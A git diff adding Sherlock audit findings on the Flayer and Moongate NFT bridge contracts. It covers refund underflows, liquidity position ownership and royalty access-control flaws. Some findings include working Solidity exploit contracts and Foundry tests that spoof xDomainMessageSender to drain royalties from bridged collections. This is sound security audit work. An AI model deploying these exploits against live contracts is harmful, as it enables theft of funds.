+function initializeCollection(address _collection, uint _amount0, uint _amount1, uint _amount1Slippage, uint160 _sqrtPriceX96) public override {
+ // Ensure that only our {Locker} can call initialize
+ if (msg.sender != address(locker)) revert CallerIsNotLocker();
++ Currency _nativeCurrency = poolParams.currencyFlipped ? poolKey.currency1 : poolKey.currency0;
++ uint256 startNativeBalance = _nativeCurrency.balanceOfSelf();
+---
+ // Obtain the UV4 lock for the pool to pull in liquidity
+ poolManager.unlock(
+ abi.encode(CallbackData({
+ poolKey: poolKey,
+ liquidityDelta: LiquidityAmounts.getLiquidityForAmounts({
+ sqrtPriceX96: _sqrtPriceX96,
+ sqrtPriceAX96: TICK_SQRT_PRICEAX96,
+ sqrtPriceBX96: TICK_SQRT_PRICEBX96,
+ amount0: poolParams.currencyFlipped ? _amount1 : _amount0,
+ amount1: poolParams.currencyFlipped ? _amount0 : _amount1
+ }),
+ liquidityTokens: _amount1,
+ liquidityTokenSlippage: _amount1Slippage
+ })
+ ));
+
++ uint256 afterNativeBalance = _nativeCurrency.balanceOfSelf();
++ if ((startNativeBalance - afterNativeBalance) > 0){
++ SafeTransferLib.safeTransfer(Currency.unwrap(_currency), msg.sender, (startNativeBalance - afterNativeBalance));
+ }
+}
+```
\ No newline at end of file
diff --git a/002/737.md b/002/737.md
new file mode 100644
index 0000000..25b091e
--- /dev/null
+++ b/002/737.md
@@ -0,0 +1,171 @@
+Vast Umber Walrus
+
+High
+
+# Liquidity provider loses Liquidity during collection initialization
+
+## Summary
+
+The first liquidity provider initiating the collection through [`Locker::initializeCollection()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L367-L399) loses ownership of their liquidity position due to how the [`UniswapImplementation::_unlockCallback()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L376-L420) is executed. The owner of the liquidity position on Uniswap will incorrectly tracks `UniswapImplementation` as the owner of the liquidity.
+
+## Vulnerability Detail
+
+When a collection is initialized, the [`UniswapImplementation::_unlockCallback()`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L376-L420) is used to add the first liquidity to the pool.
+
+[UniswapImplementation::_unlockCallback()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L376-L420)
+```solidity
+File: UniswapImplementation.sol
+376: function _unlockCallback(bytes calldata _data) internal override returns (bytes memory) {
+377: // Unpack our passed data
+378: CallbackData memory params = abi.decode(_data, (CallbackData));
+379:
+380: // As this call should only come in when we are initializing our pool, we
+381: // don't need to worry about `take` calls, but only `settle` calls.
+382:@> (BalanceDelta delta,) = poolManager.modifyLiquidity({
+383: key: params.poolKey,
+384: params: IPoolManager.ModifyLiquidityParams({
+385: tickLower: MIN_USABLE_TICK,
+386: tickUpper: MAX_USABLE_TICK,
+387: liquidityDelta: int(uint(params.liquidityDelta)),
+388: salt: ''
+389: }),
+390: hookData: ''
+391: });
+---
+420: }
+```
+
+However, the `v4-core/PoolManager` uses `msg.sender` as the owner of the position.
+
+[v4-core/tickbitmap-overload/PoolManager::modifyLiquidity()](https://github.com/Uniswap/v4-core/blob/tickbitmap-overload/src/PoolManager.sol#L164)
+```solidity
+function modifyLiquidity(
+ PoolKey memory key,
+ IPoolManager.ModifyLiquidityParams memory params,
+ bytes calldata hookData
+) external onlyWhenUnlocked noDelegateCall returns (BalanceDelta
+---
+ BalanceDelta principalDelta;
+ (principalDelta, feesAccrued) = pool.modifyLiquidity(
+ Pool.ModifyLiquidityParams({
+ owner: msg.sender, //@note HERE
+ tickLower: params.tickLower,
+ tickUpper: params.tickUpper,
+ liquidityDelta: params.liquidityDelta.toInt128(),
+ tickSpacing: key.tickSpacing,
+ salt: params.salt
+ })
+ );
+---
+}
+```
+
+In this case, `UniswapImplementation` contract **becomes the owner of the liquidity position, not the user who initiated the `Locker::initializeCollection()`**.
+
+As a result, the user who provided the initial liquidity has no control over the position they created.
+
+## Impact
+
+The user who initiates the collection and provides the first liquidity will lose ownership of their liquidity position.
+
+## Code Snippet
+
+[UniswapImplementation::_unlockCallback()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L376-L420)
+```solidity
+File: UniswapImplementation.sol
+376: function _unlockCallback(bytes calldata _data) internal override returns (bytes memory) {
+377: // Unpack our passed data
+378: CallbackData memory params = abi.decode(_data, (CallbackData));
+379:
+380: // As this call should only come in when we are initializing our pool, we
+381: // don't need to worry about `take` calls, but only `settle` calls.
+382:@> (BalanceDelta delta,) = poolManager.modifyLiquidity({
+383: key: params.poolKey,
+384: params: IPoolManager.ModifyLiquidityParams({
+385: tickLower: MIN_USABLE_TICK,
+386: tickUpper: MAX_USABLE_TICK,
+387: liquidityDelta: int(uint(params.liquidityDelta)),
+388: salt: ''
+389: }),
+390: hookData: ''
+391: });
+---
+420: }
+```
+
+[v4-core/tickbitmap-overload/PoolManager::modifyLiquidity()](https://github.com/Uniswap/v4-core/blob/tickbitmap-overload/src/PoolManager.sol#L164)
+```solidity
+function modifyLiquidity(
+ PoolKey memory key,
+ IPoolManager.ModifyLiquidityParams memory params,
+ bytes calldata hookData
+) external onlyWhenUnlocked noDelegateCall returns (BalanceDelta
+---
+ BalanceDelta principalDelta;
+ (principalDelta, feesAccrued) = pool.modifyLiquidity(
+ Pool.ModifyLiquidityParams({
+ owner: msg.sender, //@note HERE
+ tickLower: params.tickLower,
+ tickUpper: params.tickUpper,
+ liquidityDelta: params.liquidityDelta.toInt128(),
+ tickSpacing: key.tickSpacing,
+ salt: params.salt
+ })
+ );
+---
+}
+```
+
+[UniswapImplementation::initializeCollection()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/implementation/UniswapImplementation.sol#L205-L240)
+```solidity
+File: UniswapImplementation.sol
+205: function initializeCollection(address _collection, uint _amount0, uint _amount1, uint _amount1Slippage, uint160 _sqrtPriceX96) public override {
+206: // Ensure that only our {Locker} can call initialize
+207: if (msg.sender != address(locker)) revert CallerIsNotLocker();
+---
+225: // Obtain the UV4 lock for the pool to pull in liquidity
+226: poolManager.unlock(
+227: abi.encode(CallbackData({
+228: poolKey: poolKey,
+229: liquidityDelta: LiquidityAmounts.getLiquidityForAmounts({
+230: sqrtPriceX96: _sqrtPriceX96,
+231: sqrtPriceAX96: TICK_SQRT_PRICEAX96,
+232: sqrtPriceBX96: TICK_SQRT_PRICEBX96,
+233: amount0: poolParams.currencyFlipped ? _amount1 : _amount0,
+234: amount1: poolParams.currencyFlipped ? _amount0 : _amount1
+235: }),
+236: liquidityTokens: _amount1,
+237: liquidityTokenSlippage: _amount1Slippage
+238: })
+239: ));
+240: }
+```
+
+[Locker::initializeCollection()](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L367-L399)
+```solidity
+File: Locker.sol
+367: function initializeCollection(address _collection, uint _eth, uint[] calldata _tokenIds, uint _tokenSlippage, uint160 _sqrtPriceX96) public virtual whenNotPaused collectionExists(_collection) {
+368: // Ensure the collection is not already initialised
+---
+384: nativeToken.transferFrom(msg.sender, address(_implementation), _eth);
+385:
+---
+388: _implementation.initializeCollection(_collection, _eth, tokens, _tokenSlippage, _sqrtPriceX96);
+389:
+---
+399: }
+```
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+Given that `v4-core/PoolManager::modifyLiquidity()` uses `msg.sender` as the owner and the Uniswap contract cannot be altered, consider the following strategies to address ownership concerns:
+
+* Use a `PositionManager` to handle liquidity positions for different users, ensuring users retain control.
+
+* Use the salt parameter to differentiate same-range positions, helping manage positions for multiple users.
+
+* Set up an external tracking system and facilitate liquidity withdrawal to verify and manage ownership for initial liquidity providers.
\ No newline at end of file
diff --git a/002/741.md b/002/741.md
new file mode 100644
index 0000000..9e619a3
--- /dev/null
+++ b/002/741.md
@@ -0,0 +1,62 @@
+Jolly Raspberry Tadpole
+
+Medium
+
+# Initializing a collection in `Locker.sol` does not refund unused native tokens.
+
+### Summary
+
+The `initializeCollection()` add collection tokens and native ETH equivalent tokens to pool and refund unused native tokens. However, it transfer the difference of balance of the Locker contract before and after initializing.
+This would results in none or incorrect refunds as the Locker does not hold the native tokens and the balance almost never changes.
+
+### Root Cause
+
+In [`Locker.sol::383`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L383)
+```solidity
+ uint startBalance = nativeToken.balanceOf(address(this));
+```
+Get the balance before initializing collection.
+
+In [`Locker.sol::395-398`](https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L395C1-L398C1)
+```solidity
+ nativeToken.transfer(
+ msg.sender,
+ startBalance - nativeToken.balanceOf(address(this))
+```
+
+Transfer the difference in balance of native tokens after initialization.
+
+This does not refund the tokens as both collection tokens and native ETH equivalent tokens are directly supplied to the pool before initializing it and the Locker contract is not involved in the transfer of funds.
+
+### Internal pre-conditions
+
+The locker contract needs to initialize a collection.
+
+### External pre-conditions
+
+None.
+
+### Attack Path
+
+None.
+
+### Impact
+
+This leads to funds getting stuck in the implementation contract since there is no refund of unused tokens. Liquidity providers would hesitate knowing it will cost them much more to provide liquidity without even getting all the benefits of their liquidity.
+
+### PoC
+
+_No response_
+
+### Mitigation
+
+Check the balance of the implementation to properly refund unused liquidity.
+```diff
+In line 383
+- uint startBalance = nativeToken.balanceOf(address(this));
++ uint startBalance = nativeToken.balanceOf(address(_implementation));
+
+In line 395
+- nativeToken.transfer(msg.sender, startBalance - nativeToken.balanceOf(address(this)));
++ nativeToken.transfer(msg.sender, startBalance - nativeToken.balanceOf(address(_implementation)));
+```
diff --git a/002/745.md b/002/745.md
new file mode 100644
index 0000000..da5a595
--- /dev/null
+++ b/002/745.md
@@ -0,0 +1,29 @@
+Bubbly Golden Hamster
+
+Medium
+
+# The initializeCollection function cannot be used due to incorrect implementation logic
+
+## Summary
+The initializeCollection function cannot be used due to incorrect implementation logic.
+## Vulnerability Detail
+In the logic of the initializeCollection function, the used token will be returned.
+```solidity
+ nativeToken.transfer(
+ msg.sender,
+ startBalance - nativeToken.balanceOf(address(this))
+ );
+```
+However, there is a problem with the calculation logic. The function uses the logic of startBalance - nativeToken.balanceOf(address(this)). It is wrong to subtract the balance at the end from the balance at the beginning. This may result in a negative number and cause the transaction to be rolled back.
+## Impact
+The initializeCollection function cannot be used.
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L397
+## Tool used
+Manual Review
+## Recommendation
+Locker.sol
+```solidity
+397L - startBalance - nativeToken.balanceOf(address(this));
+397L + nativeToken.balanceOf(address(this)) - startBalance;
+```
\ No newline at end of file
diff --git a/002/763.md b/002/763.md
new file mode 100644
index 0000000..83079d5
--- /dev/null
+++ b/002/763.md
@@ -0,0 +1,31 @@
+Sticky Wool Crane
+
+High
+
+# Refund logic of unused relative token in initializeCollection() in Locker.sol is wrongly Implemented.
+
+## Summary
+
+Refund of any unused token to the user implemented in the initialize collection, is wrongly implemented.
+
+## Vulnerability Detail
+
+the amount which is transfer from contract to msg.sender, is not calculated correctly, because starting balance is the balanceOf native token in the contract address. the amount which is to be transfer to the implementation is directly transfer from msg.sender to implementation address. If it would be more than it needed , then it might get back to contract address. and also if excess is passed and it is in contract address then also after balance of native token in contract would be more than the start balance. so refund would always be improper
+
+for eg, 11**18 _eth is passed as parameter, then from msg.sender 11**18 will transfer. if 1**18 is unused then. after balance of contract would be plus 1**18 and excess should be transfer from contract address to msg.sender at the end of the function
+
+## Impact
+
+due to improper calculation if current user unused token is not transfer to him, then he might lose it, as then when another user will come , initial balance will be there from starting, and it might transfer to another user, and loss to original user
+
+## Code Snippet
+
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L395C1-L398C11
+
+## Tool used
+
+Manual Review
+
+## Recommendation
+
+Amount should be calculated in such a way that excess amount should be removed from the initial balacne then transfer that amount of native tokens to the msg.sender.
\ No newline at end of file
diff --git a/002/779.md b/002/779.md
new file mode 100644
index 0000000..3944551
--- /dev/null
+++ b/002/779.md
@@ -0,0 +1,34 @@
+Muscular Pebble Walrus
+
+Medium
+
+# Locker:initializeCollection() will revert due to arithmetic underflow
+
+## Summary
+Locker:initializeCollection() will revert due to arithmetic underflow
+
+## Vulnerability Detail
+Locker:initializeCollection() refund any unused relative token to the user, but the problem is instead of writing `finalBalance - startBalance`, it uses `startBalance - finalBalance`
+```solidity
+ function initializeCollection(address _collection, uint _eth, uint[] calldata _tokenIds, uint _tokenSlippage, uint160 _sqrtPriceX96) public virtual whenNotPaused collectionExists(_collection) {
+//
+ // Refund any unused relative token to the user
+ nativeToken.transfer(
+ msg.sender,
+> startBalance - nativeToken.balanceOf(address(this))
+ );
+ }
+```
+if there is any refund, it will revert the transaction due to arithmetic underflow
+
+## Impact
+initializeCollection() will be DoSed
+
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/main/flayer/src/contracts/Locker.sol#L394C3-L398C11
+
+## Tool used
+Manual Review
+
+## Recommendation
+Subtract finalBalance - startBalance
\ No newline at end of file
diff --git a/003/009.md b/003/009.md
new file mode 100644
index 0000000..42c90b3
--- /dev/null
+++ b/003/009.md
@@ -0,0 +1,33 @@
+Large Saffron Toad
+
+High
+
+# claimRoyalties will use wrong receiver
+
+## Summary
+In the `claimRoyalties` function incorrect receiver will be used.
+## Vulnerability Detail
+When calling `claimRoyalties` from `InfernalRiftAbove.sol` the code will actually get the receiver of the 0 token:
+```solidity
+// We can now pull the royalty information from the L1 to confirm that the caller
+ // is the receiver of the royalties. We can't actually pull in the default royalty
+ // provider so instead we just use token0.
+ (address receiver,) = IERC2981(_collectionAddress).royaltyInfo(0, 0);
+```
+However when we check out the ERC2981 standard will can see that each token has its own `RoyaltyInfo` here:
+https://github.com/OpenZeppelin/openzeppelin-contracts/blob/cb7faaf4db9d1ea443b507311487625220e5e215/contracts/token/common/ERC2981.sol#L29
+So the following validation in `InfernalRiftAbove.sol` will revert because of the wrong receiver that is returned, or the receiver that has the 0th token will be able to claim the royalties for all other tokens that use the bridge:
+```solidity
+ // Check that the receiver of royalties is making this call
+ if (receiver != msg.sender) revert CallerIsNotRoyaltiesReceiver(msg.sender, receiver);
+```
+## Impact
+The receiver that is set for the 0th token will be able to claim the royalties for the full collection that uses the bridge and the other receivers for other token ids will not be able to use `claimRoyalties` - High.
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftAbove.sol#L258
+## Tool used
+
+Manual Review
+
+## Recommendation
+Do not claim the royalties for multiple tokens as each id has its own receiver. Do not use the 0th token but the actual id.
\ No newline at end of file
diff --git a/003/010.md b/003/010.md
new file mode 100644
index 0000000..cdfeb0b
--- /dev/null
+++ b/003/010.md
@@ -0,0 +1,37 @@
+Large Saffron Toad
+
+High
+
+# Users can steal the royalties of holders in the same collection who use the bridge
+
+## Summary
+The claimRoyalties function allows users to steal the royalties of the whole collection.
+## Vulnerability Detail
+When a user calls `claimRoyalties` on `InfernalRiftAbove`, a message is sent to the l2 `InfernalRiftBelow` contract. Then the `claimRoyalties` function will execute:
+```solidity
+ ERC721Bridgable(l2AddressForL1Collection(_collectionAddress, false)).claimRoyalties(_recipient, _tokens);
+```
+However when we check out the claimRoyalties function in the `ERC721Bridgable` we can see that all the balance of the collection that is currently being held in `ERC721Bridgable` will be transferred to the recipient set by the original caller of the function:
+```solidity
+ for (uint256 i; i < tokensLength; ++i) {
+ // Map our ERC20
+ ERC20 token = ERC20(_tokens[i]);
+
+ // If we have a zero-address token specified, then we treat this as native ETH
+ if (address(token) == address(0)) {
+ SafeTransferLib.safeTransferETH(_recipient, payable(address(this)).balance);
+ } else {
+ SafeTransferLib.safeTransfer(token, _recipient, token.balanceOf(address(this)));
+ }
+```
+As a result all the royalties for the whole collection will be transfered to one user.
+## Impact
+High as users will be able to steal royalties.
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/libs/ERC721Bridgable.sol#L151
+## Tool used
+
+Manual Review
+
+## Recommendation
+Add proper access control and royalty distribution
\ No newline at end of file
diff --git a/003/011.md b/003/011.md
new file mode 100644
index 0000000..add493f
--- /dev/null
+++ b/003/011.md
@@ -0,0 +1,24 @@
+Large Saffron Toad
+
+High
+
+# Missing implementation to claim ERC1155 royalties
+
+## Summary
+Missing implementation of claimRoyalties for ERC1155.
+## Vulnerability Detail
+When a user calls `claimRoyalties` from the `InfernalRiftAbove`, this will send a message to the `internalRiftBelow` which will use perform the following line:
+```solidity
+ ERC721Bridgable(l2AddressForL1Collection(_collectionAddress, false)).claimRoyalties(_recipient, _tokens);
+```
+However if the token is ERC1155 the `l2AddressForL1Collection` will return the wrong address because of the hardcoded `false` argument in the function. As a result because this address will never exist the whole function will always revert when trying to get ERC1155 royalties.
+## Impact
+DOS of royalty claiming for ERC1155
+## Code Snippet
+https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftBelow.sol#L230
+## Tool used
+
+Manual Review
+
+## Recommendation
+Implement a way to claim ERC1155 royalties.
\ No newline at end of file
diff --git a/003/078.md b/003/078.md
new file mode 100644
index 0000000..04924e8
--- /dev/null
+++ b/003/078.md
@@ -0,0 +1,130 @@
+Sour Amethyst Cricket
+
+High
+
+# Malicious contract can claim all L2 royalties on any collection through InfernalRiftBelow
+
+## Summary
+
+Improper access control in InfernalRiftBelow's [`claimRoyalties()`](https://github.com/flayerlabs/moongate/blob/main/src/InfernalRiftBelow.sol#L220) function allows anyone using a malicious contract to claim all royalties accrued to any L2 collection.
+
+## Root Cause
+
+[`claimRoyalties()`](https://github.com/flayerlabs/moongate/blob/main/src/InfernalRiftBelow.sol#L220) is a `public` function. At [`InfernalRiftBelow.sol:220`](https://github.com/flayerlabs/moongate/blob/main/src/InfernalRiftBelow.sol#L220), this function checks if `msg.sender` is `INFERNAL_RIFT_ABOVE` using the `.xDomainMessageSender()` callback on `msg.sender` wrapped with the `ICrossDomainMessenger` interface. If `claimRoyalties()` is called from a contract with a function `xDomainMessageSender()` that returns the address of `INFERNAL_RIFT_ABOVE`, access control is completely bypassed.
+
+## Internal pre-conditions
+
+L2 collections bridged from L1 with Infernal Rift have accrued royalties.
+
+## External pre-conditions
+
+Collections have been bridged using Infernal Rift.
+
+## Attack Path
+
+### 1. The Malicious Contract
+This contract will call `claimRoyalties()` as if from a user account. When [`ICrossDomainMessenger(msg.sender).xDomainMessageSender()`](https://github.com/flayerlabs/moongate/blob/main/src/InfernalRiftBelow.sol#L222) is called, the callback receiver will return `address(riftAbove)`, bypassing the access control check.
+```solidity
+// SPDX-License-Identifier: MIT
+pragma solidity ^0.8.26;
+
+interface IRiftBelow {
+ function claimRoyalties(address _collectionAddress, address _recipient, address[] calldata _tokens) external;
+}
+
+contract AttackBelow {
+
+ IRiftBelow riftBelow;
+ address riftAbove;
+
+ constructor(address _riftAbove, address _riftBelow) {
+ riftBelow = IRiftBelow(_riftBelow);
+ riftAbove = _riftAbove;
+ }
+
+ function attack(address collectionAddress, address attacker, address[] memory tokens) external {
+ riftBelow.claimRoyalties(collectionAddress, attacker, tokens);
+ }
+
+ // Callback Receiver
+ function xDomainMessageSender() external view returns (address) {
+ return address(riftAbove);
+ }
+
+}
+```
+
+### 2. The Attack
+Context is established according to the beginning of the `test_canClaimRoyalties()` test.
+
+```solidity
+function test_AttackBelow() public {
+ // Set the royalty information for the L1 contract
+ l1NFT.setDefaultRoyalty(address(this), 1000);
+
+ // Create an ERC721 that implements ERC2981 for royalties
+ _bridgeNft(address(this), address(l1NFT), 0);
+
+ // Get our 'L2' address
+ Test721 l2NFT = Test721(riftBelow.l2AddressForL1Collection(address(l1NFT), false));
+
+ // Add some royalties (10 ETH and 1000 USDC) onto the L2 contract
+ deal(address(l2NFT), 10 ether);
+ deal(address(USDC), address(l2NFT), 1000 ether);
+
+ // Set up our tokens array to try and claim native ETH
+ address[] memory tokens = new address[](2);
+ tokens[0] = address(0);
+ tokens[1] = address(USDC);
+
+ // BEGIN ATTACK
+ vm.startPrank(BOB);
+
+ // BOB is broke!
+ assertEq(payable(BOB).balance, 0);
+ assertEq(USDC.balanceOf(BOB), 0);
+
+ // BOB tries to claim royalties on an arbitrary collection from his account, which reverts.
+ vm.expectRevert();
+ riftBelow.claimRoyalties(address(l1NFT), BOB, tokens);
+
+ /* BOB writes a contract which calls claimRoyalties(), but contains the function xDomainMessageSender(),
+ which will receive a callback and return address(riftAbove) */
+ attackBelow = new AttackBelow(address(riftAbove), address(riftBelow));
+ attackBelow.attack(address(l1NFT), BOB, tokens);
+
+ vm.stopPrank();
+
+ // No more royalties in l2NFT
+ assertEq(payable(address(l2NFT)).balance, 0 ether);
+ assertEq(USDC.balanceOf(address(l2NFT)), 0 ether);
+
+ // BOB is no longer broke!
+ assertEq(payable(BOB).balance, 10 ether);
+ assertEq(USDC.balanceOf(BOB), 1000 ether);
+
+ // claimRoyalties() can still be called on riftAbove in a legitimate context, but the money is gone.
+ riftAbove.claimRoyalties(address(l1NFT), ALICE, tokens, 0);
+ assertEq(payable(ALICE).balance, 0);
+ assertEq(USDC.balanceOf(ALICE), 0);
+
+ }
+```
+
+## Impact
+
+Any royalties accrued to any L2 contract can be claimed by anyone using a malicious contract. A simple `for` loop with the right array of collection addresses could drain every single collection bridged with Infernal Rift in a single transaction.
+
+## PoC
+
+See Attack Path
+
+## Mitigation
+
+I was able to prevent this attack from succeeding by declaring `error SenderNotPortal()` at the beginning of the contract and adding
+```solidity
+if (msg.sender != RELAYER_ADDRESS) {
+ revert SenderNotPortal();
+ }
+```
+at the beginning of `claimRoyalties()`.
\ No newline at end of file
diff --git a/003/079.md b/003/079.md
new file mode 100644
index 0000000..9fde687
--- /dev/null
+++ b/003/079.md
@@ -0,0 +1,95 @@
+Sour Amethyst Cricket
+
+Medium
+
+# InfernalRiftAbove's `claimRoyalties()` breaks if token0's royalty receiver is changed
+
+### Summary
+
+The `.royaltyInfo()` callback in InfernalRiftAbove's [`claimRoyalties()`](https://github.com/flayerlabs/moongate/blob/main/src/InfernalRiftAbove.sol#L251) function is intended to return the default royalty information of a collection, but returns `_tokenRoyaltyInfo[0]`, which prevents the default royalty receiver from accessing the `claimRoyalties()` function and allows the receiver listed at `_tokenRoyaltyInfo[0]` to claim all royalties accrued to the entire L2 collection.
+
+### Root Cause
+
+ERC721Royalty and ERC2981 contain logic for dealing with royalties on a per-token basis, which overrides the collection's default, but ERC2981 does not contain a dedicated method for returning default royalty info. [`InfernalRiftAbove.sol:258`](https://github.com/flayerlabs/moongate/blob/main/src/InfernalRiftAbove.sol#L258) passes 0 to [`royaltyInfo` in ERC2981.sol](https://github.com/flayerlabs/moongate/blob/main/src/InfernalRiftAbove.sol#L261), which checks `_tokenRoyaltyInfo[0]`. `_defaultRoyaltyInfo` is returned as intended only if `receiver` at token0 is `address(0)`, otherwise token0's royalty receiver address is returned. This address is used to establish access control on [`InfernalRiftAbove:261`](https://github.com/flayerlabs/moongate/blob/main/src/InfernalRiftAbove.sol#L261). If `_tokenRoyaltyInfo[0] != address(0)`, this address will have access to the L2 collection's royalties, and the default address will not.
+
+
+
+### Internal pre-conditions
+
+_No response_
+
+### External pre-conditions
+
+1. For a given collection, tokenId 0 must be a tradeable token.
+2. The collection must have accrued royalties owed to its default recipient.
+3. The receiver of royalties for tokenId 0 is set to an address that is not `address(0)`.
+
+### Attack Path
+
+1. The receiver at `_tokenRoyaltyInfo[0]` is set to an address that is not `address(0)` or the default royalty receiver address.
+
+Optional:
+The receiver at `_tokenRoyaltyInfo[0]` calls `InfernalRiftAbove.claimRoyalties()`, claiming royalties intended to be paid out to the default add
+
+### Impact
+
+The default royalty recipient address is locked out of the `claimRoyalties()` function, and the royalty recipient for token0 is allowed to claim all of the royalties accrued to a collection's L2 counterpart.
+
+### PoC
+
+The beginning of this test follows the beginning of the `test_CanCollectRoyalties()` test.
+
+```solidity
+function test_BreakRoyalties() public {
+ // Set the royalty information for the L1 contract
+ l1NFT.setDefaultRoyalty(address(this), 1000);
+
+ // Create an ERC721 that implements ERC2981 for royalties
+ _bridgeNft(address(this), address(l1NFT), 0);
+
+ // Get our 'L2' address
+ Test721 l2NFT = Test721(riftBelow.l2AddressForL1Collection(address(l1NFT), false));
+
+ // Add some royalties (10 ETH and 1000 USDC) onto the L2 contract
+ deal(address(l2NFT), 10 ether);
+ deal(address(USDC), address(l2NFT), 1000 ether);
+
+ // Set up our tokens array to try and claim native ETH
+ address[] memory tokens = new address[](2);
+ tokens[0] = address(0);
+ tokens[1] = address(USDC);
+
+ // The royalty recipient of token0 is set to BOB
+ l1NFT.setTokenRoyalty(0, BOB, 1000);
+
+ // The default address can no longer claim royalties
+ vm.expectRevert(
+ abi.encodeWithSelector(
+ InfernalRiftAbove.CallerIsNotRoyaltiesReceiver.selector,
+ address(this), BOB
+ )
+ );
+ riftAbove.claimRoyalties(address(l1NFT), ALICE, tokens, 0);
+
+ // Address at token0 can claim all royalties
+ vm.startPrank(BOB);
+ riftAbove.claimRoyalties(address(l1NFT), BOB, tokens, 0);
+
+ assertEq(payable(BOB).balance, 10 ether);
+ assertEq(USDC.balanceOf(BOB), 1000 ether);
+
+ }
+```
+
+### Mitigation
+
+I did find a more reliable way of accessing `_defaultRoyaltyInfo`. `royaltyInfo()` returns the default if the address in the mapping at `uint256 token0` is set to `address(0)`. This means that any tokenId without a set address will return the default information, regardless of whether or not the tokenId refers to an existing token.
+
+Default royalty information can be more reliably accessed by passing a tokenId that is certain not to exist than by passing 0.
+
+This could be done in a number of ways. Instead of passing 0 to `royaltyInfo()`, an extremely large `uint256` that is beyond the reasonable upper limit of a collection's max supply could be used, which would require no additional calls or checks.
+
+If there is a standard method for returning the total supply of a collection ([like in ERC721Enumerable's case](https://github.com/OpenZeppelin/openzeppelin-contracts/blob/master/contracts/token/ERC721/extensions/ERC721Enumerable.sol#L56)), You could check the total supply at the time of the function call and pass `_collection.totalSupply() + 1` to `royaltyInfo()`.
+
+This might be getting into overkill territory, but randomness can be implemented to make this check even more secure. If a random uint256 is passed to `royaltyInfo()`, as long as that number is higher than the reasonable upper limit of a collection's max supply, it will access the default address in a way that can't be predicted or frontrun. If the supply of a collection can be expected to cap off around 100,000, there are still 2^252-ish possible `tokenId` values that all return the default royalty information.
+
diff --git a/003/094.md b/003/094.md
new file mode 100644
index 0000000..caf44f0
--- /dev/null
+++ b/003/094.md
@@ -0,0 +1,298 @@
+Perfect Hotpink Tardigrade
+
+High
+
+# Moongate: Anybody can claim royalties for any collection on L2
+
+### Summary
+
+Insufficient `msg.sender` validation in [InfernalRiftBelow.claimRoyalties()](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftBelow.sol#L220) allows a malicious actor to create a contract that bypasses `ICrossDomainMessenger(msg.sender).xDomainMessageSender() != INFERNAL_RIFT_ABOVE` [check](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftBelow.sol#L222) thus allowing to claim royalties for any collection.
+
+### Root Cause
+
+As far as I understand, the root cause is that there's a missing `msg.sender` validation step in [InfernalRiftBelow.claimRoyalties()](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftBelow.sol#L220):
+```solidity
+if (msg.sender != L2_CROSS_DOMAIN_MESSENGER) {
+ revert("NotCrossDomainMessenger");
+}
+```
+
+### Internal pre-conditions
+
+1. NFT collection must be transferred to L2
+2. NFT collection must have none 0 royalties on its address
+
+
+### External pre-conditions
+
+_No response_
+
+### Attack Path
+
+1. Malicious user creates a new contract that bypasses [this](https://github.com/sherlock-audit/2024-08-flayer/blob/0ec252cf9ef0f3470191dcf8318f6835f5ef688c/moongate/src/InfernalRiftBelow.sol#L222) check:
+```solidity
+contract MaliciousSender is ICrossDomainMessenger {
+ InfernalRiftBelow riftBelow;
+
+ constructor(InfernalRiftBelow _riftBelow) {
+ riftBelow = _riftBelow;
+ }
+
+ function sendMessage(address _target, bytes calldata _message, uint32 _minGasLimit) external payable {}
+
+ function xDomainMessageSender() external view returns (address) {
+ return riftBelow.INFERNAL_RIFT_ABOVE();
+ }
+
+ function run(address _collectionAddress, address _recipient, address[] calldata _tokens) external {
+ riftBelow.claimRoyalties(_collectionAddress, _recipient, _tokens);
+ }
+}
+```
+2. Malicious user calls `MaliciousSender.run()` for any NFT collection deployed on L2 to claim all available royalties
+
+### Impact
+
+The attacker gains all available NFT collection royalties.
+
+### PoC
+Test:
+```solidity
+ function testAnybodyCanClaimRoyalties() public {
+ // transfer NFT collection from L1 to L2
+ _bridgeNft(address(this), address(l1NFT), 0);
+
+ // add some royalties to L2 collection
+ address l2NFTAddress = riftBelow.l2AddressForL1Collection(address(l1NFT), false);
+ deal(l2NFTAddress, 1 ether);
+
+ // prepare a malicious user
+ address anyUser = address(1);
+
+ console.log('===before===');
+ console.log('Balance ETH (L2 collection):', l2NFTAddress.balance);
+ console.log('Balance ETH (anyUser):', anyUser.balance);
+
+ /**
+ * 1. `anyUser` deploys the `MaliciousSender` contract
+ * 2. `anyUser` calls `MaliciousSender.run()` which claims all available collection royalties
+ */
+ vm.startPrank(anyUser);
+ MaliciousSender maliciousSender = new MaliciousSender(riftBelow);
+ address[] memory tokens = new address[](2);
+ tokens[0] = address(0);
